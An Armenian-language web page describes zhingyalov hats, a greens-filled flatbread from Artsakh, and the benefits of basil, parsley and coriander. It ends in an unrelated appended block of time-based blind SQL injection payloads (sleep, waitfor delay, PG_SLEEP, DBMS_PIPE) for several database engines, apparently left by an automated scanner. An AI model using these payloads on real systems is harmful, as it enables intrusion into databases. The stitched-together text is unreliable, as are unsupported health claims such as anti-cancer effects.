Հայաստանը լեռնային երկիր է՝ լի կանաչիների և խոտաբույսերի հարյուրավոր տեսակներով, որոնք աճում են ամենուր՝ ժայռերից մինչև հովիտներ։
Եթե երբևէ եղել եք Արցախում՝ հայկական հողի ամենագեղատեսիլ վայրերից մեկում, հավանաբար համտեսել եք ժենգյալով հաց, որը պատրաստվում է Արցախի ամենահամեղ և ամենաանուշաբույր կանաչիների համադրությամբ։ Դրանցից որոշները աճում են միայն այնտեղ, քանի որ ունեն տեղանքին բնորոշ կլիմայական և աշխարհագրական պայմանների առանձնահատկություններ։
Ժենգյալով հաց պատրաստելու համար անհրաժեշտ է բացել խմորը թղթի հաստությամբ և լցոնել կտրատված և համեմված կանաչիների խառնուրդով։ Այնուհետև պետք է տապակել այն թավայի կամ հատուկ ջեռոցի՝ սաջի մեջ և հիանալի ուտեստը պատրաստ է։ Այն հատկապես շատ են ուտում Մեծ պահքի շրջանում։
Ժենգյալով հացը փորձելիս կզգաք հայերի և հայկական խոհանոցի հյուրասիրությունն ու ջերմությունը։
Իսկ հիմա, եկեք կարճ անդրադառնանք հայկական խոհանոցում օգտագործվող երեք ամենատարածված կանաչիներին և նրանց օգտակարությանը։
Բազիլիկ ռեհանը ամենաշատ օգտագործվող կանաչիներից լինելու հետ մեկտեղ նաև վիտամինների հրաշալի աղբյուր է։ Այն հիմնականում օգտագործվում է թարմ վիճակով, ուտեստը պատրաստելիս ավելացվում է վերջին պահին, քանի որ եփելիս կորցնում է համի հիմնական մասը։ Ռեհանի օգտակար հատկություններից են ուղեղի աշխատանքին և ոսկրերի ամրությանը նպաստելը և նյութափոխանակությունը կարգավորելը։
Մաղադանոս աշխարհի ամենահայտնի կանաչիներից մեկը լայնորեն օգտագործվում է նաև հայկական խոհանոցում։ Մաղադանոսը A, C և K վիտամինների մեծ աղբյուր է, ինչպես նաև կարգավորում է սրտի աշխատանքն ու իմունային համակարգը։
Համեմ համեմը նույնպես մեծ կիրառություն ունի հայկական խոհանոցում, հատկապես տարբեր ուտեստներ և ապուրներ պատրաստելիս։ Այն ունի հակաքաղցկեղային ազդեցություն, բարելավում է մաշկի վիճակը և լի է օրգանիզմի համար մի շարք օգտակար վիտամիններով։
Test
Test sagfhnbvbn
555
555oifQAmvc
555*1
555*749*744*0
555+754-749-5
555*889*884*0
555+894-889-5
555*979*974*0
555+984-979-5
-1 OR 2+520-520-1=0+0+0+1
-1 OR 3+520-520-1=0+0+0+1
555*if(now()=sysdate(),sleep(15),0)
5550’XOR(555*if(now()=sysdate(),sleep(15),0))XOR’Z
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR”Z
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
555-1; waitfor delay ‘0:0:15’ —
555-1); waitfor delay ‘0:0:15’ —
555-1 waitfor delay ‘0:0:15’ —
555Ygt3GiEl’; waitfor delay ‘0:0:15’ —
555-1 OR 291=(SELECT 291 FROM PG_SLEEP(15))–
555-1) OR 994=(SELECT 994 FROM PG_SLEEP(15))–
555-1)) OR 39=(SELECT 39 FROM PG_SLEEP(15))–
555pG2WCzy2′ OR 429=(SELECT 429 FROM PG_SLEEP(15))–
555Rxr7Fk8K’) OR 236=(SELECT 236 FROM PG_SLEEP(15))–
555JLfhtGi7′)) OR 410=(SELECT 410 FROM PG_SLEEP(15))–
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
555′”
555%2527%2522\’\”
@@ZUd6p